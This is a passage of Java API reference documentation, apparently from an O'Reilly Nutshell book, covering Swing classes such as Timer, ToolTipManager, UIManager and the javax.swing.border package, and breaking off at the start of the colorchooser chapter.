The initialDelay property specifies the time in milliseconds between the invocation of the start() method and the firing of the first ActionEvent. The repeats property specifies whether the Timer fires events repeatedly. If repeats is true, the delay property specifies the interval (in milliseconds) between repeated events. If the delay property is set to a short interval or if the ActionEvent triggers a complex action, the Timer may sometimes get behind and develop a backlog of events. Set the coalesce property to true if the Timer is allowed to coalesce multiple pending events into a single ActionEvent in this situation. The Timer constructor sets the repeats and coalesce properties to true, so be sure to change these properties if you don't want that behavior. The constructor also sets both the delay and initialDelay properties to the specified interval. The static setLogTimers() method is useful when debugging code that uses the Timer class. Passing true to this method causes Timer to print a debugging message to standard output each time it fires an event.

public class Timer implements Serializable {
// | Public Constructors
 | public Timer (int delay, java.awt.event.ActionListener listener);
// | Public Class Methods
 | public static boolean getLogTimers ();
 | public static void setLogTimers (boolean flag);
// | Event Registration Methods (by event name)
 | public void addActionListener (java.awt.event.ActionListener listener);
 | public void removeActionListener (java.awt.event.ActionListener listener);
// | Property Accessor Methods (by property name)
 | public boolean isCoalesce ();
 | public void setCoalesce (boolean flag);
 | public int getDelay ();
 | public void setDelay (int delay);
 | public int getInitialDelay ();
 | public void setInitialDelay (int initialDelay);
 | public boolean isRepeats ();
 | public void setRepeats (boolean flag);
 | public boolean isRunning ();
// | Public Instance Methods
 | public void restart ();
 | public void start ();
 | public void stop ();
// | Protected Instance Methods
 | protected void fireActionPerformed (java.awt.event.ActionEvent e);
// | Protected Instance Fields
 | protected javax.swing.event.EventListenerList listenerList ;
}

Hierarchy: Object-->Timer(Serializable)

Type Of: javax.swing.tree.DefaultTreeCellEditor.timer

ToolTipManager Java 1.2
javax.swing

This class manages tooltips for a Swing application. There is only one ToolTipManager per application; you can obtain a reference to it with the static sharedInstance() method. Any Swing component that has a tooltip set on it (with setToolTipText()) is automatically registered with the ToolTipManager, so applications do not usually have to work with this class explicitly. If you want to explicitly register or unregister a component without setting its tooltip text, you can do so with registerComponent() and unregisterComponent(), respectively.

To disable all tooltips in an application (at the request of an advanced user, for example), set the enabled property to false. The other ToolTipManager properties are various delays that affect the behavior of tooltips. These values are user preferences, and an application should not modify them except in response to an explicit user request made through some kind of preferences dialog or control panel.

public class ToolTipManager extends java.awt.event.MouseAdapter implements java.awt.event.MouseMotionListener {
// | No Constructor
// | Inner Classes
 | ; |
 | ; |
 | ; |
// | Public Class Methods
 | public static ToolTipManager sharedInstance (); |
// | Property Accessor Methods (by property name)
 | public int getDismissDelay (); |
 | public void setDismissDelay (int microSeconds); |
 | public boolean isEnabled (); |
 | public void setEnabled (boolean flag); |
 | public int getInitialDelay (); |
 | public void setInitialDelay (int microSeconds); |
 | public boolean isLightWeightPopupEnabled (); |
 | public int getReshowDelay (); |
 | public void setReshowDelay (int microSeconds); |
// | Public Instance Methods
 | public void registerComponent (JComponent component); |
 | public void unregisterComponent (JComponent component); |
// | Methods Implementing MouseMotionListener
 | public void mouseDragged (java.awt.event.MouseEvent event); | empty
 | public void mouseMoved (java.awt.event.MouseEvent event); |
// | Public Methods Overriding MouseAdapter
 | public void mouseEntered (java.awt.event.MouseEvent event); |
 | public void mouseExited (java.awt.event.MouseEvent event); |
 | public void mousePressed (java.awt.event.MouseEvent event); |
// | Protected Instance Fields
 | protected boolean heavyWeightPopupEnabled ; |
 | protected boolean lightWeightPopupEnabled ; |
// | Deprecated Public Methods
# | public void setLightWeightPopupEnabled (boolean aFlag); |
}

Hierarchy: Object-->java.awt.event.MouseAdapter(java.awt.event.MouseListener(java.util.EventListener))-->ToolTipManager(java.awt.event.MouseMotionListener(java.util.EventListener))

Returned By: ToolTipManager.sharedInstance()

ToolTipManager.insideTimerAction Java 1.2
javax.swing

This protected inner class is used internally by ToolTipManager. Applications never need to use it, and it probably should not be part of the public API.

protected class ToolTipManager.insideTimerAction implements java.awt.event.ActionListener {
// | Protected Constructors
 | protected insideTimerAction ();
// | Methods Implementing ActionListener
 | public void actionPerformed (java.awt.event.ActionEvent e);
}
ToolTipManager.outsideTimerAction Java 1.2
javax.swing

This protected inner class is used internally by ToolTipManager. Applications never need to use it, and it probably should not be part of the public API.

protected class ToolTipManager.outsideTimerAction implements java.awt.event.ActionListener {
// | Protected Constructors
 | protected outsideTimerAction ();
// | Methods Implementing ActionListener
 | public void actionPerformed (java.awt.event.ActionEvent e);
}
ToolTipManager.stillInsideTimerAction Java 1.2
javax.swing

This protected inner class is used internally by ToolTipManager. Applications never need to use it, and it probably should not be part of the public API.

protected class ToolTipManager.stillInsideTimerAction implements java.awt.event.ActionListener {
// | Protected Constructors
 | protected stillInsideTimerAction ();
// | Methods Implementing ActionListener
 | public void actionPerformed (java.awt.event.ActionEvent e);
}
UIDefaults | Java 1.2
javax.swing | cloneable serializable collection

UIDefaults is a Hashtable subclass used to maintain a table of named resources for use by a look-and-feel implementation. Like any hashtable, UIDefaults defines a get() and a put() method. In addition, it defines numerous more specific getXXX() methods that are used to look up resources of specific types. Unless you are defining a custom look-and-feel, you probably do not have to use this class explicitly.

The generic get() method and all the more specific methods that use it have a special behavior if the returned resource value implements either of the inner interfaces defined by UIDefaults. If the returned object is a UIDefaults.ActiveValue, the value returned by the get() method is computed by calling the createValue() method of the ActiveValue object. Similarly, if the returned value is a LazyValue, the final return value of the get() method is computed by calling the createValue() method of the LazyValue object. Once this computation is done the first time, however, the LazyValue is replaced in the UIDefaults table with the computed value it yielded. This is a useful technique for resources such as icons that have to be read in from external files. It prevents them from being created unless they are actually needed.

public class UIDefaults extends java.util.Hashtable {
// | Public Constructors
 | public UIDefaults (); |
 | public UIDefaults (Object[ ] keyValueList); |
// | Inner Classes
 | ; |
 | ; |
// | Event Registration Methods (by event name)
 | public void addPropertyChangeListener (java.beans.PropertyChangeListener listener); | synchronized
 | public void removePropertyChangeListener (java.beans.PropertyChangeListener listener); | synchronized
// | Public Instance Methods
 | public javax.swing.border.Border getBorder (Object key); |
 | public java.awt.Color getColor (Object key); |
 | public java.awt.Dimension getDimension (Object key); |
 | public java.awt.Font getFont (Object key); |
 | public Icon getIcon (Object key); |
 | public java.awt.Insets getInsets (Object key); |
 | public int getInt (Object key); |
 | public String getString (Object key); |
 | public javax.swing.plaf.ComponentUI getUI (JComponent target); |
 | public Class getUIClass (String uiClassID); |
 | public Class getUIClass (String uiClassID, ClassLoader uiClassLoader); |
 | public void putDefaults (Object[ ] keyValueList); |
// | Public Methods Overriding Hashtable
 | public Object get (Object key); |
 | public Object put (Object key, Object value); |
// | Protected Instance Methods
 | protected void firePropertyChange (String propertyName, Object oldValue, Object newValue); |
 | protected void getUIError (String msg); |
}

Hierarchy: Object-->java.util.Dictionary-->java.util.Hashtable(Cloneable,java.util.Map,Serializable)-->UIDefaults

Passed To: UIDefaults.ActiveValue.createValue(), UIDefaults.LazyValue.createValue()

Returned By: LookAndFeel.getDefaults(), UIManager.{getDefaults(), getLookAndFeelDefaults()}

UIDefaults.ActiveValue Java 1.2
javax.swing

This interface defines a special kind of resource that can be stored in a UIDefaults hashtable. When the get() method of UIDefaults finds a ActiveValue in the table, it does not return the ActiveValue object. Instead, it invokes its createValue() method and returns the object returned by that method.

public abstract static interface UIDefaults.ActiveValue {
// | Public Instance Methods
 | public abstract Object createValue (UIDefaults table);
}
UIDefaults.LazyValue Java 1.2
javax.swing

This interface defines a special kind of resource that can be stored in a UIDefaults hashtable. When the get() method of UIDefaults finds an LazyValue in the table, it does not return the LazyValue object. Instead, it invokes its createValue() method. The object returned by createValue() is used to replace the LazyValue in the UIDefaults table and is then returned by the get() method.

public abstract static interface UIDefaults.LazyValue {
// | Public Instance Methods
 | public abstract Object createValue (UIDefaults table);
}
UIManager | Java 1.2
javax.swing | serializable

The static methods of this class perform a number of look-and-feel related functions. setLookAndFeel() is the most important. It takes a LookAndFeel object or the class name of the desired look-and-feel and makes it the current look-and-feel. getLookAndFeel() returns the LookAndFeel object that represents the current look-and-feel. getCrossPlatformLookAndFeelClassName() and getSystemLookAndFeelClassName() return class names for the default Java look-and-feel and for the look-and-feel that mimics the native platform look-and-feel, if one exists. getInstalledLookAndFeels() returns information about all look-and-feels that are installed on the system.

The UIManager also manages user interface defaults specified both by the current look-and-feel and by the application. The get() method looks up a value for the named key, checking the table of application defaults first and then checking the defaults specified by the look-and-feel. The put() method inserts a new key/value binding into the application defaults table; it does not modify the look-and-feel defaults. UIManager defines various other type-specific getXXX() methods that can be used to look up default UI resources of various types.

Although all the methods of UIManager are static, they are implemented in such a way that each separate application context can independently set its own look-and-feel defaults. This means, for example, that multiple applets running in the same Java VM can install and use different look-and-feel implementations.

public class UIManager implements Serializable {
// | Public Constructors
 | public UIManager ();
// | Inner Classes
 | ;
// | Public Class Methods
 | public static void addAuxiliaryLookAndFeel (LookAndFeel laf);
 | public static void addPropertyChangeListener (java.beans.PropertyChangeListener listener);
 | public static Object get (Object key);
 | public static LookAndFeel[ ] getAuxiliaryLookAndFeels ();
 | public static javax.swing.border.Border getBorder (Object key);
 | public static java.awt.Color getColor (Object key);
 | public static String getCrossPlatformLookAndFeelClassName ();
 | public static UIDefaults getDefaults ();
 | public static java.awt.Dimension getDimension (Object key);
 | public static java.awt.Font getFont (Object key);
 | public static Icon getIcon (Object key);
 | public static java.awt.Insets getInsets (Object key);
 | public static UIManager.LookAndFeelInfo[ ] getInstalledLookAndFeels ();
 | public static int getInt (Object key);
 | public static LookAndFeel getLookAndFeel ();
 | public static UIDefaults getLookAndFeelDefaults ();
 | public static String getString (Object key);
 | public static String getSystemLookAndFeelClassName ();
 | public static javax.swing.plaf.ComponentUI getUI (JComponent target);
 | public static void installLookAndFeel (UIManager.LookAndFeelInfo info);
 | public static void installLookAndFeel (String name, String className);
 | public static Object put (Object key, Object value);
 | public static boolean removeAuxiliaryLookAndFeel (LookAndFeel laf);
 | public static void removePropertyChangeListener (java.beans.PropertyChangeListener listener);
 | public static void setInstalledLookAndFeels (UIManager.LookAndFeelInfo[ ] infos) throws SecurityException;
 | public static void setLookAndFeel (LookAndFeel newLookAndFeel) throws UnsupportedLookAndFeelException;
 | public static void setLookAndFeel (String className) throws ClassNotFoundException, InstantiationException, IllegalAccessException, UnsupportedLookAndFeelException;
}

Hierarchy: Object-->UIManager(Serializable)

UIManager.LookAndFeelInfo Java 1.2
javax.swing

Instances of this class are returned by the getInstalledLookAndFeels() method of UIManager. The getName() method of each LookAndFeelInfo provides a simple human-presentable name that can be displayed to the user in a list or menu that allows the user to choose a look-and-feel.

public static class UIManager.LookAndFeelInfo {
// | Public Constructors
 | public LookAndFeelInfo (String name, String className);
// | Public Instance Methods
 | public String getClassName ();
 | public String getName ();
// | Public Methods Overriding Object
 | public String toString ();
}

Passed To: UIManager.{installLookAndFeel(), setInstalledLookAndFeels()}

Returned By: UIManager.getInstalledLookAndFeels()

UnsupportedLookAndFeelException | Java 1.2
javax.swing | serializable checked

Thrown by the setLookAndFeel() method of the UIManager class to indicate that the requested look-and-feel is not installed, not supported, or not licensed on the current system.

public class UnsupportedLookAndFeelException extends Exception {
// | Public Constructors
 | public UnsupportedLookAndFeelException (String s);
}

Hierarchy: Object-->Throwable(Serializable)-->Exception-->UnsupportedLookAndFeelException

Thrown By: UIManager.setLookAndFeel()

ViewportLayout | Java 1.2
javax.swing | serializable layout manager

This class is the default LayoutManager for the JViewport component. Applications should never need to use this class explicitly.

public class ViewportLayout implements java.awt.LayoutManager, Serializable {
// | Public Constructors
 | public ViewportLayout (); |
// | Methods Implementing LayoutManager
 | public void addLayoutComponent (String name, Component c); | empty
 | public void layoutContainer (Container parent); |
 | public java.awt.Dimension minimumLayoutSize (Container parent); |
 | public java.awt.Dimension preferredLayoutSize (Container parent); |
 | public void removeLayoutComponent (Component c); | empty
}

Hierarchy: Object-->ViewportLayout(java.awt.LayoutManager,Serializable)

WindowConstants Java 1.2
javax.swing

This interface defines three constants that describe possible actions that can be taken when the user requests that a window be closed. These three constants are the legal arguments to the setDefaultCloseOperation() methods of JFrame, JInternalFrame, and JDialog. Note that setDefaultCloseOperation() specifies only the default action when the user tries to close the window. An application that registers a WindowListener object can augment this default operation with one of its own.

public abstract interface WindowConstants {
// | Public Constants
 | public static final int DISPOSE_ON_CLOSE ; | =2
 | public static final int DO_NOTHING_ON_CLOSE ; | =0
 | public static final int HIDE_ON_CLOSE ; | =1
}

Implementations: JDialog, JFrame, JInternalFrame

Previous | Home | Next
22.1. The javax.accessibility Package | Book Index | 24. The javax.swing.border Package
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


The javax.swing.border Package (Java Foundation Classes)

 Java Enterprise in a Nutshell Search this book

Chapter 24. The javax.swing.border Package

The javax.swing.border package is a simple package that defines the Border interface, which specifies how to draw a border around an arbitrary Swing component. The various classes in this package implement commonly used border styles. Applications can easily define custom border styles by creating custom implementations of Border. Figure 24-1 shows the class hierarchy of this package.

Figure 24-1. The javax.swing.border package

AbstractBorder | Java 1.2
javax.swing.border | serializable

This abstract class implements a zero-width, nonopaque border. AbstractBorder implements the Border interface. To create a custom border type, subclass AbstractBorder, reimplementing at least the getBorderInsets() and paintBorder() methods. getInteriorRectangle() in its static and nonstatic versions is a convenience method that returns a rectangle that represents the region of the component inside the border.

AbstractBorder provides a two-argument version of getBorderInsets(), in addition to the one-argument version required by Border. The two-argument version should place the insets in the supplied Insets object. Doing so does not require a new Insets object to be created, so it is more efficient than the one-argument version. Swing components use this more efficient method whenever possible.

public abstract class AbstractBorder implements Border, Serializable {
// | Public Constructors
 | public AbstractBorder (); |
// | Public Class Methods
 | public static java.awt.Rectangle getInteriorRectangle (Component c, Border b, int x, int y, int width, int height); |
// | Public Instance Methods
 | public java.awt.Insets getBorderInsets (Component c, java.awt.Insets insets); |
 | public java.awt.Rectangle getInteriorRectangle (Component c, int x, int y, int width, int height); |
// | Methods Implementing Border
 | public java.awt.Insets getBorderInsets (Component c); |
 | public boolean isBorderOpaque (); | constant
 | public void paintBorder (Component c, java.awt.Graphics g, int x, int y, int width, int height); | empty
}

Hierarchy: Object-->AbstractBorder(Border,Serializable)

Subclasses: BevelBorder, CompoundBorder, EmptyBorder, EtchedBorder, LineBorder, TitledBorder

BevelBorder | Java 1.2
javax.swing.border | serializable

This class displays a two-pixel-wide beveled edge around a Swing component, giving the appearance of a raised or lowered surface. The RAISED and LOWERED constants specify the type of bevel. It usually is not necessary to specify bevel colors, as appropriate defaults are derived from the component background color. See also the createBevelBorder(), createLoweredBevelBorder(), and createRaisedBevelBorder() methods of javax.swing.BorderFactory.

public class BevelBorder extends AbstractBorder {
// | Public Constructors
 | public BevelBorder (int bevelType); |
 | public BevelBorder (int bevelType, java.awt.Color highlight, java.awt.Color shadow); |
 | public BevelBorder (int bevelType, java.awt.Color highlightOuter, java.awt.Color highlightInner, java.awt.Color shadowOuter, java.awt.Color shadowInner); |
// | Public Constants
 | public static final int LOWERED ; | =1
 | public static final int RAISED ; | =0
// | Public Instance Methods
 | public int getBevelType (); |
 | public java.awt.Color getHighlightInnerColor (Component c); |
 | public java.awt.Color getHighlightOuterColor (Component c); |
 | public java.awt.Color getShadowInnerColor (Component c); |
 | public java.awt.Color getShadowOuterColor (Component c); |
// | Public Methods Overriding AbstractBorder
 | public java.awt.Insets getBorderInsets (Component c); |
 | public java.awt.Insets getBorderInsets (Component c, java.awt.Insets insets); |
 | public boolean isBorderOpaque (); | constant
 | public void paintBorder (Component c, java.awt.Graphics g, int x, int y, int width, int height); |
// | Protected Instance Methods
 | protected void paintLoweredBevel (Component c, java.awt.Graphics g, int x, int y, int width, int height); |
 | protected void paintRaisedBevel (Component c, java.awt.Graphics g, int x, int y, int width, int height); |
// | Protected Instance Fields
 | protected int bevelType ; |
 | protected java.awt.Color highlightInner ; |
 | protected java.awt.Color highlightOuter ; |
 | protected java.awt.Color shadowInner ; |
 | protected java.awt.Color shadowOuter ; |
}

Hierarchy: Object-->AbstractBorder(Border,Serializable)-->BevelBorder

Subclasses: SoftBevelBorder, javax.swing.plaf.BorderUIResource.BevelBorderUIResource

Border Java 1.2
javax.swing.border

This simple interface defines the methods that must be implemented by any object that wants to display a border around a Swing component. getBorderInsets() returns a java.awt.Insets object that specifies the size of each edge of the border. isBorderOpaque() indicates either that the border is opaque or that it allows the container background to show through. Opaque borders are required to paint all pixels in the border region. Finally, paintBorder() is the method that is responsible for drawing the border around the specified component at the specified location, using the specified java.awt.Graphics object.

The javax.swing.border package contains a number of Border implementations that are useful with Swing classes. Note, however, that Border instances are intended to be shared among components. This means that you typically should obtain references to shared Border objects by calling the static factory methods of javax.swing.BorderFactory. To define your own custom type of border, you can subclass AbstractBorder.

public abstract interface Border {
// | Public Instance Methods
 | public abstract java.awt.Insets getBorderInsets (Component c);
 | public abstract boolean isBorderOpaque ();
 | public abstract void paintBorder (Component c, java.awt.Graphics g, int x, int y, int width, int height);
}

Implementations: AbstractBorder, javax.swing.plaf.BorderUIResource

Passed To: Too many methods to list.

Returned By: Too many methods to list.

Type Of: DefaultListCellRenderer.noFocusBorder, CompoundBorder.{insideBorder, outsideBorder}, TitledBorder.border, javax.swing.table.DefaultTableCellRenderer.noFocusBorder, javax.swing.tree.DefaultTreeCellEditor.DefaultTextField.border

CompoundBorder | Java 1.2
javax.swing.border | serializable

This class combines two borders and displays the result around a Swing component. For example, you can use CompoundBorder to combine a beveled outer border and an etched inner border. Or you can use CompoundBorder to combine a MatteBorder and an EmptyBorder, to create an additional margin within the MatteBorder. See also the createCompoundBorder() method of javax.swing.BorderFactory.

public class CompoundBorder extends AbstractBorder {
// | Public Constructors
 | public CompoundBorder (); |
 | public CompoundBorder (Border outsideBorder, Border insideBorder); |
// | Property Accessor Methods (by property name)
 | public boolean isBorderOpaque (); | Overrides:AbstractBorder default:false
 | public Border getInsideBorder (); | default:null
 | public Border getOutsideBorder (); | default:null
// | Public Methods Overriding AbstractBorder
 | public java.awt.Insets getBorderInsets (Component c); |
 | public java.awt.Insets getBorderInsets (Component c, java.awt.Insets insets); |
 | public void paintBorder (Component c, java.awt.Graphics g, int x, int y, int width, int height); |
// | Protected Instance Fields
 | protected Border insideBorder ; |
 | protected Border outsideBorder ; |
}

Hierarchy: Object-->AbstractBorder(Border,Serializable)-->CompoundBorder

Subclasses: javax.swing.plaf.BorderUIResource.CompoundBorderUIResource

Returned By: BorderFactory.createCompoundBorder()

EmptyBorder | Java 1.2
javax.swing.border | serializable

This class implements a transparent, empty border. It is used to place a blank margin around a Swing component. The arguments to the constructor specify the number of pixels of blank space to appear on each edge of the component. See also the createEmptyBorder() method of javax.swing.BorderFactory.

public class EmptyBorder extends AbstractBorder implements Serializable {
// | Public Constructors
 | public EmptyBorder (java.awt.Insets insets); |
 | public EmptyBorder (int top, int left, int bottom, int right); |
// | Public Methods Overriding AbstractBorder
 | public java.awt.Insets getBorderInsets (Component c); |
 | public java.awt.Insets getBorderInsets (Component c, java.awt.Insets insets); |
 | public boolean isBorderOpaque (); | constant
 | public void paintBorder (Component c, java.awt.Graphics g, int x, int y, int width, int height); | empty
// | Protected Instance Fields
 | protected int bottom ; |
 | protected int left ; |
 | protected int right ; |
 | protected int top ; |
}

Hierarchy: Object-->AbstractBorder(Border,Serializable)-->EmptyBorder(Serializable)

Subclasses: MatteBorder, javax.swing.plaf.BorderUIResource.EmptyBorderUIResource

EtchedBorder | Java 1.2
javax.swing.border | serializable

This class displays an etched border around a Swing component. By default, the border appears etched into the screen. You can create a border that appears etched out by passing the RAISED constant to the EtchedBorder() constructor. It usually is not necessary to specify colors for the border, since EtchedBorder automatically chooses correct defaults based on the component's background color. See also the createEtchedBorder() method of javax.swing.BorderFactory.

public class EtchedBorder extends AbstractBorder {
// | Public Constructors
 | public EtchedBorder (); |
 | public EtchedBorder (int etchType); |
 | public EtchedBorder (java.awt.Color highlight, java.awt.Color shadow); |
 | public EtchedBorder (int etchType, java.awt.Color highlight, java.awt.Color shadow); |
// | Public Constants
 | public static final int LOWERED ; | =1
 | public static final int RAISED ; | =0
// | Public Instance Methods
 | public int getEtchType (); | default:1
 | public java.awt.Color getHighlightColor (Component c); |
 | public java.awt.Color getShadowColor (Component c); |
// | Public Methods Overriding AbstractBorder
 | public java.awt.Insets getBorderInsets (Component c); |
 | public java.awt.Insets getBorderInsets (Component c, java.awt.Insets insets); |
 | public boolean isBorderOpaque (); | constant default:true
 | public void paintBorder (Component c, java.awt.Graphics g, int x, int y, int width, int height); |
// | Protected Instance Fields
 | protected int etchType ; |
 | protected java.awt.Color highlight ; |
 | protected java.awt.Color shadow ; |
}

Hierarchy: Object-->AbstractBorder(Border,Serializable)-->EtchedBorder

Subclasses: javax.swing.plaf.BorderUIResource.EtchedBorderUIResource

LineBorder | Java 1.2
javax.swing.border | serializable

This class draws a solid line of the specified color and thickness around a Swing component. The default thickness is one pixel. The two static methods return shared LineBorder instances that draw black and gray lines that are one-pixel wide. See also the createLineBorder() method of javax.swing.BorderFactory.

public class LineBorder extends AbstractBorder {
// | Public Constructors
 | public LineBorder (java.awt.Color color); |
 | public LineBorder (java.awt.Color color, int thickness); |
// | Public Class Methods
 | public static Border createBlackLineBorder (); |
 | public static Border createGrayLineBorder (); |
// | Public Instance Methods
 | public java.awt.Color getLineColor (); |
 | public int getThickness (); |
// | Public Methods Overriding AbstractBorder
 | public java.awt.Insets getBorderInsets (Component c); |
 | public java.awt.Insets getBorderInsets (Component c, java.awt.Insets insets); |
 | public boolean isBorderOpaque (); | constant
 | public void paintBorder (Component c, java.awt.Graphics g, int x, int y, int width, int height); |
// | Protected Instance Fields
 | protected java.awt.Color lineColor ; |
 | protected boolean roundedCorners ; |
 | protected int thickness ; |
}

Hierarchy: Object-->AbstractBorder(Border,Serializable)-->LineBorder

Subclasses: javax.swing.plaf.BorderUIResource.LineBorderUIResource

MatteBorder | Java 1.2
javax.swing.border | serializable

This class uses a solid color or tiled icon to paint a border around a Swing component. The sizes of each edge of the border can be independently specified. If an icon is specified and border sizes are not, the top and bottom insets of the border equal the icon height, and the left and right insets equal the icon width. See also the createMatteBorder() method of javax.swing.BorderFactory.

public class MatteBorder extends EmptyBorder {
// | Public Constructors
 | public MatteBorder (Icon tileIcon);
 | public MatteBorder (int top, int left, int bottom, int right, Icon tileIcon);
 | public MatteBorder (int top, int left, int bottom, int right, java.awt.Color color);
// | Public Methods Overriding EmptyBorder
 | public java.awt.Insets getBorderInsets (Component c);
 | public java.awt.Insets getBorderInsets (Component c, java.awt.Insets insets);
 | public boolean isBorderOpaque ();
 | public void paintBorder (Component c, java.awt.Graphics g, int x, int y, int width, int height);
// | Protected Instance Fields
 | protected java.awt.Color color ;
 | protected Icon tileIcon ;
}

Hierarchy: Object-->AbstractBorder(Border,Serializable)-->EmptyBorder(Serializable)-->MatteBorder

Subclasses: javax.swing.plaf.BorderUIResource.MatteBorderUIResource

Returned By: BorderFactory.createMatteBorder()

SoftBevelBorder | Java 1.2
javax.swing.border | serializable

This class displays a two-pixel-wide raised or lowered beveled border around a Swing component. SoftBevelBorder differs from its superclass BevelBorder in that it draws a "softer" bevel (i.e., a bevel whose corners do not appear as sharp). Unlike the other border types, shared SoftBevelBorder instances cannot be created through the javax.swing.BorderFactory class.

public class SoftBevelBorder extends BevelBorder {
// | Public Constructors
 | public SoftBevelBorder (int bevelType); |
 | public SoftBevelBorder (int bevelType, java.awt.Color highlight, java.awt.Color shadow); |
 | public SoftBevelBorder (int bevelType, java.awt.Color highlightOuter, java.awt.Color highlightInner, java.awt.Color shadowOuter, java.awt.Color shadowInner); |
// | Public Methods Overriding BevelBorder
 | public java.awt.Insets getBorderInsets (Component c); |
 | public boolean isBorderOpaque (); | constant
 | public void paintBorder (Component c, java.awt.Graphics g, int x, int y, int width, int height); |
}

Hierarchy: Object-->AbstractBorder(Border,Serializable)-->BevelBorder-->SoftBevelBorder

TitledBorder | Java 1.2
javax.swing.border | serializable

This class combines a textual title with another border. This can be a useful effect when, for example, you want to group and title several components, such as a group of JRadioButton objects. By default, TitledBorder draws an EtchedBorder and displays the title left justified on the top edge of that border. Arguments to the constructor and property- setting methods allow you to specify the Border to be drawn, the position of the title relative to the top or bottom of that border, the justification of the title, the title font, and the title color. The title can be positioned above, on top of, or below the top or bottom edge of the border, and it can be left, center, or right justified. The positioning is specified by the titlePosition and titleJustification properties. TitledBorder constants define the legal values of these properties.

TitledBorder instances are not typically shared among components because different components do not typically have the same title. Since the TitledBorder instances are not shared, they need not be immutable. TitledBorder is unique among the classes in javax.swing.border in that it has properties that can be set after the instance is created. You can still use the createTitledBorder() method of javax.swing.BorderFactory to create TitledBorder instances, but since they are unlikely to be shared, this is typically not very useful.

public class TitledBorder extends AbstractBorder {
// | Public Constructors
 | public TitledBorder (Border border); |
 | public TitledBorder (String title); |
 | public TitledBorder (Border border, String title); |
 | public TitledBorder (Border border, String title, int titleJustification, int titlePosition); |
 | public TitledBorder (Border border, String title, int titleJustification, int titlePosition, java.awt.Font titleFont); |
 | public TitledBorder (Border border, String title, int titleJustification, int titlePosition, java.awt.Font titleFont, java.awt.Color titleColor); |
// | Public Constants
 | public static final int ABOVE_BOTTOM ; | =4
 | public static final int ABOVE_TOP ; | =1
 | public static final int BELOW_BOTTOM ; | =6
 | public static final int BELOW_TOP ; | =3
 | public static final int BOTTOM ; | =5
 | public static final int CENTER ; | =2
 | public static final int DEFAULT_JUSTIFICATION ; | =0
 | public static final int DEFAULT_POSITION ; | =0
 | public static final int LEFT ; | =1
 | public static final int RIGHT ; | =3
 | public static final int TOP ; | =2
// | Protected Constants
 | protected static final int EDGE_SPACING ; | =2
 | protected static final int TEXT_INSET_H ; | =5
 | protected static final int TEXT_SPACING ; | =2
// | Property Accessor Methods (by property name)
 | public Border getBorder (); |
 | public void setBorder (Border border); |
 | public boolean isBorderOpaque (); | Overrides:AbstractBorder constant
 | public String getTitle (); |
 | public void setTitle (String title); |
 | public java.awt.Color getTitleColor (); |
 | public void setTitleColor (java.awt.Color titleColor); |
 | public java.awt.Font getTitleFont (); |
 | public void setTitleFont (java.awt.Font titleFont); |
 | public int getTitleJustification (); |
 | public void setTitleJustification (int titleJustification); |
 | public int getTitlePosition (); |
 | public void setTitlePosition (int titlePosition); |
// | Public Instance Methods
 | public java.awt.Dimension getMinimumSize (Component c); |
// | Public Methods Overriding AbstractBorder
 | public java.awt.Insets getBorderInsets (Component c); |
 | public java.awt.Insets getBorderInsets (Component c, java.awt.Insets insets); |
 | public void paintBorder (Component c, java.awt.Graphics g, int x, int y, int width, int height); |
// | Protected Instance Methods
 | protected java.awt.Font getFont (Component c); |
// | Protected Instance Fields
 | protected Border border ; |
 | protected String title ; |
 | protected java.awt.Color titleColor ; |
 | protected java.awt.Font titleFont ; |
 | protected int titleJustification ; |
 | protected int titlePosition ; |
}

Hierarchy: Object-->AbstractBorder(Border,Serializable)-->TitledBorder

Subclasses: javax.swing.plaf.BorderUIResource.TitledBorderUIResource

Returned By: BorderFactory.createTitledBorder()

Previous | Home | Next
23.1. The javax.swing Package | Book Index | 25. The javax.swing.colorchooser Package
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


The javax.swing.colorchooser Package (Java Foundation Classes)

 Java Enterprise in a Nutshell Search this book

Chapter 25. The javax.swing.colorchooser Package

The classes and interfaces of the javax.swing.colorchooser package support the JColorChooser component of the javax.swing package and allow customization of that component. Figure 25-1 shows the class hierarchy of this package.

Figure 25-1. The javax.swing.colorchooser package

AbstractColorChooserPanel | Java 1.2
javax.swing.colorchooser | serializable accessible swing component

This abstract subclass of JPanel provides the basic framework for creating new color selection panels for the JColorChooser component. The default color selection panels provided by the JColorChooser are adequate for most applications. If you want to add a custom panel, you must subclass this class and provide implementations for the abstract methods. The buildChooser() method should create the GUI components that your color selection panel uses. getDisplayName(), getLargeDisplayIcon(), and getSmallDisplayIcon() should return a name and icons for your custom panel, respectively. These are displayed in the JTabbedPane tab for your color selection panel.

The most important task for your AbstractColorChooserPanel, however, is communicating with the ColorSelectionModel object of the JColorChooser. Call the getColorSelectionModel() method to obtain the model. When the user selects a color in your panel, you must change the selected color in the model, so that the JColorChooser knows of your selection. Conversely, if the user selects a color in some other panel, the abstract updateChooser() method is called to notify your panel of the change. Your panel should update itself to reflect the new color selection.

public abstract class AbstractColorChooserPanel extends JPanel {
// | Public Constructors
 | public AbstractColorChooserPanel ();
// | Property Accessor Methods (by property name)
 | public ColorSelectionModel getColorSelectionModel ();
 | public abstract String getDisplayName ();
 | public abstract Icon getLargeDisplayIcon ();
 | public abstract Icon getSmallDisplayIcon ();
// | Public Instance Methods
 | public void installChooserPanel (JColorChooser enclosingChooser);
 | public void uninstallChooserPanel (JColorChooser enclosingChooser);
 | public abstract void updateChooser ();
// | Public Methods Overriding JComponent
 | public void paint (java.awt.Graphics g);
// | Protected Instance Methods
 | protected abstract void buildChooser ();
 | protected java.awt.Color getColorFromModel ();
}

Hierarchy: Object-->Component(java.awt.image.ImageObserver,java.awt.MenuContainer,Serializable)-->Container-->JComponent(Serializable)-->JPanel(Accessible)-->AbstractColorChooserPanel

Passed To: JColorChooser.{addChooserPanel(), removeChooserPanel(), setChooserPanels()}

Returned By: JColorChooser.{getChooserPanels(), removeChooserPanel()}, ColorChooserComponentFactory.getDefaultChooserPanels()

ColorChooserComponentFactory Java 1.2
javax.swing.colorchooser

This class consists of static methods that return the individual color selection and color preview components that are used to create a default JColorChooser component. This class is used by the JColorChooser UI delegate object and normally is not used by applications. However, you may find it useful if you want to arrange standard color chooser components in a custom custom dialog box of your own.

public class ColorChooserComponentFactory {
// | No Constructor
// | Public Class Methods
 | public static AbstractColorChooserPanel[ ] getDefaultChooserPanels ();
 | public static JComponent getPreviewPanel ();
}
ColorSelectionModel | Java 1.2
javax.swing.colorchooser | model

